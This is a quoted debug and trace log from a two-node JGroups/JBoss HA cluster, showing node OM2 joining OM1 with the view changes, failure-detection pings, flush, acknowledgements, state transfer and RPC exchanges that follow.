> 2013-08-30 09:49:25,825 DEBUG [FD_SOCK] (Incoming-5,null) VIEW_CHANGE received: [OM1:1299, OM2:1299]
> 2013-08-30 09:49:25,841 TRACE [UDP] (FD_SOCK pinger,om-agent-om-fence-HAPartition,OM1:1299) sending msg to null, src=OM1:1299, headers are FD_SOCK: I_HAVE_SOCK, mbr=OM1:1299, sock_addr=192.168.1.200:54400, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,841 TRACE [UDP] (FD_SOCK pinger,om-agent-om-fence-HAPartition,OM1:1299) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:49:25,841 TRACE [STABLE] (Incoming-5,null) OM1:1299: resetting digest from NAKACK: [OM1:1299#6, OM2:1299#0]
> 2013-08-30 09:49:25,841 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD_SOCK: I_HAVE_SOCK, mbr=OM1:1299, sock_addr=192.168.1.200:54400, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,841 TRACE [UFC] (Incoming-5,null) new membership: [OM1:1299, OM2:1299]
> 2013-08-30 09:49:25,841 TRACE [FD_SOCK] (OOB-19,null) i-have-sock: OM1:1299 --> 192.168.1.200:54400 (cache is {OM1:1299=192.168.1.200:54400})
> 2013-08-30 09:49:25,841 TRACE [MFC] (Incoming-5,null) new membership: [OM1:1299, OM2:1299]
> 2013-08-30 09:49:25,841 TRACE [FD_SOCK] (FD_SOCK pinger,om-agent-om-fence-HAPartition,OM1:1299) pinger_thread started
> 2013-08-30 09:49:25,841 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD_SOCK: I_HAVE_SOCK, mbr=OM1:1299, sock_addr=192.168.1.200:54400, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,841 DEBUG [FD_SOCK] (FD_SOCK pinger,om-agent-om-fence-HAPartition,OM1:1299) ping_dest is OM2:1299, pingable_mbrs=[OM1:1299, OM2:1299]
> 2013-08-30 09:49:25,841 INFO  [om-agent-om-fence] (Incoming-5,null) New cluster view for partition om-agent-om-fence (id: 1, delta: 1, merge: false) : [OM1:1299, OM2:1299]
> 2013-08-30 09:49:25,841 TRACE [UDP] (FD_SOCK pinger,om-agent-om-fence-HAPartition,OM1:1299) sending msg to OM2:1299, src=OM1:1299, headers are FD_SOCK: WHO_HAS_SOCK, mbr=OM2:1299, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,841 INFO  [JGroupsTransport] (Incoming-5,null) Received new cluster view: [OM1:1299|1] [OM1:1299, OM2:1299]
> 2013-08-30 09:49:25,841 INFO  [om-agent-om-fence] (AsynchViewChangeHandler Thread) I am (OM1:1299) received membershipChanged event:
> 2013-08-30 09:49:25,841 INFO  [om-agent-om-fence] (AsynchViewChangeHandler Thread) Dead members: 0 ([])
> 2013-08-30 09:49:25,841 INFO  [om-agent-om-fence] (AsynchViewChangeHandler Thread) New Members : 1 ([OM2:1299])
> 2013-08-30 09:49:25,841 INFO  [om-agent-om-fence] (AsynchViewChangeHandler Thread) All Members : 2 ([OM1:1299, OM2:1299])
> 2013-08-30 09:49:25,857 DEBUG [FLUSH] (Incoming-5,null) OM1:1299: installing view [OM1:1299|1] [OM1:1299, OM2:1299]
> 2013-08-30 09:49:25,857 TRACE [UNICAST] (Incoming-5,null) OM1:1299 --> DATA(OM1:1299: #2, conn_id=0)
> 2013-08-30 09:49:25,857 TRACE [UDP] (Incoming-5,null) sending msg to OM1:1299, src=OM1:1299, headers are GMS: GmsHeader[VIEW_ACK]: view=null, UNICAST: DATA, seqno=2, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,857 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are GMS: GmsHeader[VIEW_ACK]: view=null, UNICAST: DATA, seqno=2, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,857 TRACE [UNICAST] (OOB-20,null) OM1:1299 <-- DATA(OM1:1299: #2)
> 2013-08-30 09:49:25,857 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> ACK(OM1:1299: #2)
> 2013-08-30 09:49:25,857 TRACE [GMS] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: received all ACKs (1) from existing members for view [OM1:1299|1]
> 2013-08-30 09:49:25,857 TRACE [UDP] (OOB-20,null) sending msg to OM1:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=2, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,857 TRACE [UNICAST] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: created connection to OM2:1299
> 2013-08-30 09:49:25,857 TRACE [UNICAST] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299 --> DATA(OM2:1299: #1, conn_id=1, first)
> 2013-08-30 09:49:25,857 TRACE [UDP] (Incoming-7,null) received [dst: OM1:1299, src: OM1:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=2, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,857 TRACE [UNICAST] (Incoming-7,null) OM1:1299 <-- ACK(OM1:1299: #2)
> 2013-08-30 09:49:25,857 TRACE [UDP] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) sending msg to OM2:1299, src=OM1:1299, headers are GMS: GmsHeader[JOIN_RSP]: join_rsp=view: [OM1:1299|1] [OM1:1299, OM2:1299], digest: OM2:1299: [0 : 0], OM1:1299: [1 : 5 (5)], UNICAST: DATA, seqno=1, conn_id=1, first, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,075 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD_SOCK: I_HAVE_SOCK, mbr=OM2:1299, sock_addr=192.168.1.201:54400, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,075 TRACE [FD_SOCK] (OOB-20,null) i-have-sock: OM2:1299 --> 192.168.1.201:54400 (cache is {OM2:1299=192.168.1.201:54400, OM1:1299=192.168.1.200:54400})
> 2013-08-30 09:49:26,075 TRACE [FD_SOCK] (FD_SOCK pinger,om-agent-om-fence-HAPartition,OM1:1299) ping_dest=OM2:1299, ping_sock=Socket[addr=/192.168.1.201,port=54400,localport=50257], cache={OM2:1299=192.168.1.201:54400, OM1:1299=192.168.1.200:54400}
> 2013-08-30 09:49:26,106 TRACE [UDP] (Incoming-8,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,106 TRACE [UNICAST] (Incoming-8,null) OM1:1299 <-- ACK(OM2:1299: #1)
> 2013-08-30 09:49:26,122 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD_SOCK: I_HAVE_SOCK, mbr=OM2:1299, sock_addr=192.168.1.201:54400, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,122 TRACE [FD_SOCK] (OOB-20,null) i-have-sock: OM2:1299 --> 192.168.1.201:54400 (cache is {OM2:1299=192.168.1.201:54400, OM1:1299=192.168.1.200:54400})
> 2013-08-30 09:49:26,122 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD_SOCK: GET_CACHE, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,122 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are FD_SOCK: GET_CACHE_RSP, cache={OM2:1299=192.168.1.201:54400, OM1:1299=192.168.1.200:54400}, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,137 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=0 bytes, flags=OOB], headers are GMS: GmsHeader[VIEW_ACK]: view=null, UNICAST: DATA, seqno=2, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,137 TRACE [FD_SOCK] (FD_SOCK server socket acceptor,om-agent-om-fence-HAPartition,OM1:1299) accepted connection from /192.168.1.201:63697
> 2013-08-30 09:49:26,137 TRACE [FD_SOCK] (FD_SOCK server socket acceptor,om-agent-om-fence-HAPartition,OM1:1299) waiting for client connections on OM1/192.168.1.200:54400
> 2013-08-30 09:49:26,137 TRACE [UNICAST] (OOB-20,null) OM1:1299 <-- DATA(OM2:1299: #2)
> 2013-08-30 09:49:26,137 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> ACK(OM2:1299: #2)
> 2013-08-30 09:49:26,137 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=2, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,153 TRACE [GMS] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: received all ACKs (1) from joiners for view [OM1:1299|1]
> 2013-08-30 09:49:26,153 TRACE [STABLE] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: resetting digest from NAKACK: [OM1:1299#6, OM2:1299#0]
> 2013-08-30 09:49:26,153 DEBUG [STABLE] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) resuming message garbage collection
> 2013-08-30 09:49:26,153 DEBUG [GMS] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: sending RESUME event
> 2013-08-30 09:49:26,153 DEBUG [FLUSH] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: received RESUME, sending STOP_FLUSH to all
> 2013-08-30 09:49:26,153 TRACE [NAKACK] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) sending OM1:1299#7
> 2013-08-30 09:49:26,153 TRACE [UDP] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) sending msg to null, src=OM1:1299, headers are FLUSH: FLUSH[type=STOP_FLUSH,viewId=1], NAKACK: [MSG, seqno=7], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,153 TRACE [UDP] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes]
> 2013-08-30 09:49:26,153 TRACE [UDP] (Incoming-9,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes], headers are FLUSH: FLUSH[type=STOP_FLUSH,viewId=1], NAKACK: [MSG, seqno=7], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,153 TRACE [NAKACK] (Incoming-9,null) OM1:1299: received OM1:1299#7
> 2013-08-30 09:49:26,153 TRACE [UDP] (Incoming-10,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes], headers are FLUSH: FLUSH[type=STOP_FLUSH,viewId=1], NAKACK: [MSG, seqno=7], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,153 DEBUG [FLUSH] (Incoming-9,null) OM1:1299: received STOP_FLUSH, unblocking FLUSH.down() and sending UNBLOCK up
> 2013-08-30 09:49:26,293 TRACE [UDP] (Incoming-11,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=0 bytes], headers are STREAMING_STATE_TRANSFER: type=STATE_REQ, sender=OM2:1299 id=0, UNICAST: DATA, seqno=3, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,293 TRACE [UNICAST] (Incoming-11,null) OM1:1299 <-- DATA(OM2:1299: #3)
> 2013-08-30 09:49:26,293 TRACE [UNICAST] (Incoming-11,null) OM1:1299 --> ACK(OM2:1299: #3)
> 2013-08-30 09:49:26,293 TRACE [UDP] (Incoming-11,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=3, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,309 DEBUG [STREAMING_STATE_TRANSFER] (Incoming-11,null) Responding to state requester OM2:1299 with address 192.168.1.200:50258 and digest null
> 2013-08-30 09:49:26,309 TRACE [UNICAST] (Incoming-11,null) OM1:1299 --> DATA(OM2:1299: #2, conn_id=1)
> 2013-08-30 09:49:26,309 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER server socket acceptor,om-agent-om-fence-HAPartition,OM1:1299) StateProviderThreadSpawner listening at 192.168.1.200:50258...
> 2013-08-30 09:49:26,309 TRACE [UDP] (Incoming-11,null) sending msg to OM2:1299, src=OM1:1299, headers are STREAMING_STATE_TRANSFER: type=STATE_RSP, sender=OM1:1299 id=0, UNICAST: DATA, seqno=2, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,309 TRACE [UDP] (Incoming-12,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=2, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,309 TRACE [UNICAST] (Incoming-12,null) OM1:1299 <-- ACK(OM2:1299: #2)
> 2013-08-30 09:49:26,309 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER server socket acceptor,om-agent-om-fence-HAPartition,OM1:1299) StateProviderThreadSpawner listening at 192.168.1.200:50258...
> 2013-08-30 09:49:26,309 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Accepted request for state transfer from /192.168.1.201:63698 handing of to PooledExecutor thread
> 2013-08-30 09:49:26,325 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Running on Thread[STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299,5,JGroups]. Accepted request for state transfer from /192.168.1.201:63698, original buffer size was 8192 and was reset to 8192, passing outputstream up... 
> 2013-08-30 09:49:26,512 DEBUG [StateTransferManagerImpl] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Generating state.  Can provide? true
> 2013-08-30 09:49:26,590 DEBUG [StateTransferManagerImpl] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Writing 1 StoredEntries to stream
> 2013-08-30 09:49:26,715 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=9 bytes, flags=OOB|DONT_BUNDLE|NO_FC], headers are RequestCorrelator: id=201, type=REQ, id=2, rsp_expected=true, UNICAST: DATA, seqno=4, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,715 TRACE [UNICAST] (OOB-20,null) OM1:1299 <-- DATA(OM2:1299: #4)
> 2013-08-30 09:49:26,715 TRACE [RequestCorrelator] (OOB-20,null) calling (org.infinispan.remoting.transport.jgroups.CommandAwareRpcDispatcher) with request 2
> 2013-08-30 09:49:26,746 TRACE [RequestCorrelator] (OOB-20,null) sending rsp for 2 to OM2:1299
> 2013-08-30 09:49:26,746 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> DATA(OM2:1299: #3, conn_id=1)
> 2013-08-30 09:49:26,746 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are RequestCorrelator: id=201, type=RSP, id=2, rsp_expected=false, UNICAST: DATA, seqno=3, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,746 DEBUG [StateTransferManagerImpl] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) State generated, closing object stream
> 2013-08-30 09:49:26,746 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> ACK(OM2:1299: #4)
> 2013-08-30 09:49:26,746 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=4, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,746 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) State writer is closing the socket 
> 2013-08-30 09:49:26,761 TRACE [UDP] (Incoming-13,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=3, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,761 TRACE [UNICAST] (Incoming-13,null) OM1:1299 <-- ACK(OM2:1299: #3)
> 2013-08-30 09:49:26,761 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=9 bytes, flags=OOB|DONT_BUNDLE|NO_FC], headers are RequestCorrelator: id=201, type=REQ, id=3, rsp_expected=true, UNICAST: DATA, seqno=5, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,761 TRACE [UNICAST] (OOB-20,null) OM1:1299 <-- DATA(OM2:1299: #5)
> 2013-08-30 09:49:26,761 TRACE [RequestCorrelator] (OOB-20,null) calling (org.infinispan.remoting.transport.jgroups.CommandAwareRpcDispatcher) with request 3
> 2013-08-30 09:49:26,761 TRACE [RequestCorrelator] (OOB-20,null) sending rsp for 3 to OM2:1299
> 2013-08-30 09:49:26,761 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> DATA(OM2:1299: #4, conn_id=1)
> 2013-08-30 09:49:26,761 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are RequestCorrelator: id=201, type=RSP, id=3, rsp_expected=false, UNICAST: DATA, seqno=4, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,761 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> ACK(OM2:1299: #5)
> 2013-08-30 09:49:26,761 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=5, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,777 TRACE [UDP] (Incoming-14,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=4, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,777 TRACE [UNICAST] (Incoming-14,null) OM1:1299 <-- ACK(OM2:1299: #4)
> 2013-08-30 09:49:26,824 TRACE [UDP] (Incoming-15,null) received [dst: <null>, src: OM2:1299 (3 headers), size=0 bytes], headers are FLUSH: FLUSH[type=START_FLUSH,viewId=1,members=[OM1:1299, OM2:1299]], NAKACK: [MSG, seqno=1], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,824 TRACE [NAKACK] (Incoming-15,null) OM1:1299: received OM2:1299#1
> 2013-08-30 09:49:26,824 TRACE [UNICAST] (Incoming-15,null) OM1:1299 --> DATA(OM2:1299: #5, conn_id=1)
> 2013-08-30 09:49:26,824 TRACE [UDP] (Incoming-15,null) sending msg to OM2:1299, src=OM1:1299, headers are FLUSH: FLUSH[type=FLUSH_COMPLETED,viewId=1], UNICAST: DATA, seqno=5, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,824 DEBUG [FLUSH] (Incoming-15,null) OM1:1299: received START_FLUSH, responded with FLUSH_COMPLETED to OM2:1299
> 2013-08-30 09:49:26,824 TRACE [UDP] (Incoming-16,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=5, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,824 TRACE [UNICAST] (Incoming-16,null) OM1:1299 <-- ACK(OM2:1299: #5)
> 2013-08-30 09:49:26,824 TRACE [UDP] (Incoming-17,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=0 bytes], headers are STREAMING_STATE_TRANSFER: type=STATE_REQ, sender=OM2:1299 id=0, UNICAST: DATA, seqno=6, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,824 TRACE [UNICAST] (Incoming-17,null) OM1:1299 <-- DATA(OM2:1299: #6)
> 2013-08-30 09:49:26,824 TRACE [UNICAST] (Incoming-17,null) OM1:1299 --> ACK(OM2:1299: #6)
> 2013-08-30 09:49:26,824 TRACE [UDP] (Incoming-17,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=6, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,824 DEBUG [STREAMING_STATE_TRANSFER] (Incoming-17,null) Responding to state requester OM2:1299 with address 192.168.1.200:50258 and digest null
> 2013-08-30 09:49:26,824 TRACE [UNICAST] (Incoming-17,null) OM1:1299 --> DATA(OM2:1299: #6, conn_id=1)
> 2013-08-30 09:49:26,824 TRACE [UDP] (Incoming-17,null) sending msg to OM2:1299, src=OM1:1299, headers are STREAMING_STATE_TRANSFER: type=STATE_RSP, sender=OM1:1299 id=0, UNICAST: DATA, seqno=6, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,824 TRACE [UDP] (Incoming-18,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=6, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,824 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER server socket acceptor,om-agent-om-fence-HAPartition,OM1:1299) StateProviderThreadSpawner listening at 192.168.1.200:50258...
> 2013-08-30 09:49:26,824 TRACE [UNICAST] (Incoming-18,null) OM1:1299 <-- ACK(OM2:1299: #6)
> 2013-08-30 09:49:26,824 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Accepted request for state transfer from /192.168.1.201:63699 handing of to PooledExecutor thread
> 2013-08-30 09:49:26,824 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Running on Thread[STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299,5,JGroups]. Accepted request for state transfer from /192.168.1.201:63699, original buffer size was 8192 and was reset to 8192, passing outputstream up... 
> 2013-08-30 09:49:27,058 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) State writer is closing the socket 
> 2013-08-30 09:49:27,151 TRACE [UDP] (Incoming-19,null) received [dst: <null>, src: OM2:1299 (3 headers), size=0 bytes], headers are FLUSH: FLUSH[type=STOP_FLUSH,viewId=1], NAKACK: [MSG, seqno=2], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,151 TRACE [NAKACK] (Incoming-19,null) OM1:1299: received OM2:1299#2
> 2013-08-30 09:49:27,151 DEBUG [FLUSH] (Incoming-19,null) OM1:1299: received STOP_FLUSH, unblocking FLUSH.down() and sending UNBLOCK up
> 2013-08-30 09:49:27,276 TRACE [UDP] (Incoming-20,null) received [dst: <null>, src: OM2:1299 (4 headers), size=874 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=4, rsp_expected=false, exclusion_list=[OM2:1299], NAKACK: [MSG, seqno=3], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,276 TRACE [NAKACK] (Incoming-20,null) OM1:1299: received OM2:1299#3
> 2013-08-30 09:49:27,276 TRACE [MFC] (Incoming-20,null) OM2:1299 used 874 credits, 1999126 remaining
> 2013-08-30 09:49:27,276 TRACE [RequestCorrelator] (Incoming-20,null) calling (org.jboss.ha.core.framework.server.CoreGroupCommunicationService$RpcHandler) with request 4
> 2013-08-30 09:49:27,276 TRACE [UDP] (Incoming-20,null) received [dst: <null>, src: OM2:1299 (4 headers), size=382 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=5, rsp_expected=true, exclusion_list=[OM2:1299], NAKACK: [MSG, seqno=4], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,276 TRACE [NAKACK] (Incoming-20,null) OM1:1299: received OM2:1299#4
> 2013-08-30 09:49:27,276 TRACE [MFC] (Incoming-20,null) OM2:1299 used 382 credits, 1998744 remaining
> 2013-08-30 09:49:27,276 TRACE [RequestCorrelator] (Incoming-20,null) calling (org.jboss.ha.core.framework.server.CoreGroupCommunicationService$RpcHandler) with request 5
> 2013-08-30 09:49:27,276 TRACE [RequestCorrelator] (Incoming-20,null) sending rsp for 5 to OM2:1299
> 2013-08-30 09:49:27,276 TRACE [UNICAST] (Incoming-20,null) OM1:1299 --> DATA(OM2:1299: #7, conn_id=1)
> 2013-08-30 09:49:27,276 TRACE [UDP] (Incoming-20,null) sending msg to OM2:1299, src=OM1:1299, headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=RSP, id=5, rsp_expected=false, UNICAST: DATA, seqno=7, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,292 TRACE [UDP] (Incoming-1,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=7, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,292 TRACE [UNICAST] (Incoming-1,null) OM1:1299 <-- ACK(OM2:1299: #7)
> 2013-08-30 09:49:27,292 TRACE [UDP] (Incoming-4,null) received [dst: <null>, src: OM2:1299 (4 headers), size=873 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=6, rsp_expected=false, exclusion_list=[OM2:1299], NAKACK: [MSG, seqno=5], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,292 TRACE [NAKACK] (Incoming-4,null) OM1:1299: received OM2:1299#5
> 2013-08-30 09:49:27,292 TRACE [MFC] (Incoming-4,null) OM2:1299 used 873 credits, 1997871 remaining
> 2013-08-30 09:49:27,292 TRACE [RequestCorrelator] (Incoming-4,null) calling (org.jboss.ha.core.framework.server.CoreGroupCommunicationService$RpcHandler) with request 6
> 2013-08-30 09:49:27,323 TRACE [UDP] (Incoming-3,null) received [dst: <null>, src: OM2:1299 (4 headers), size=566 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=7, rsp_expected=true, exclusion_list=[OM2:1299], NAKACK: [MSG, seqno=6], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,323 TRACE [NAKACK] (Incoming-3,null) OM1:1299: received OM2:1299#6
> 2013-08-30 09:49:27,323 TRACE [MFC] (Incoming-3,null) OM2:1299 used 566 credits, 1997305 remaining
> 2013-08-30 09:49:27,323 TRACE [RequestCorrelator] (Incoming-3,null) calling (org.jboss.ha.core.framework.server.CoreGroupCommunicationService$RpcHandler) with request 7
> 2013-08-30 09:49:27,339 TRACE [RequestCorrelator] (Incoming-3,null) sending rsp for 7 to OM2:1299
> 2013-08-30 09:49:27,354 TRACE [UNICAST] (Incoming-3,null) OM1:1299 --> DATA(OM2:1299: #8, conn_id=1)
> 2013-08-30 09:49:27,354 TRACE [UDP] (Incoming-3,null) sending msg to OM2:1299, src=OM1:1299, headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=RSP, id=7, rsp_expected=false, UNICAST: DATA, seqno=8, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,354 TRACE [UDP] (Incoming-6,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=8, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,354 TRACE [UNICAST] (Incoming-6,null) OM1:1299 <-- ACK(OM2:1299: #8)
> 2013-08-30 09:49:27,432 TRACE [UDP] (Incoming-5,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=0 bytes], headers are STREAMING_STATE_TRANSFER: type=STATE_REQ, sender=OM2:1299 id=0, UNICAST: DATA, seqno=7, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,432 TRACE [UNICAST] (Incoming-5,null) OM1:1299 <-- DATA(OM2:1299: #7)
> 2013-08-30 09:49:27,432 TRACE [UNICAST] (Incoming-5,null) OM1:1299 --> ACK(OM2:1299: #7)
> 2013-08-30 09:49:27,432 TRACE [UDP] (Incoming-5,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=7, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,432 DEBUG [STREAMING_STATE_TRANSFER] (Incoming-5,null) Responding to state requester OM2:1299 with address 192.168.1.200:50258 and digest null
> 2013-08-30 09:49:27,432 TRACE [UNICAST] (Incoming-5,null) OM1:1299 --> DATA(OM2:1299: #9, conn_id=1)
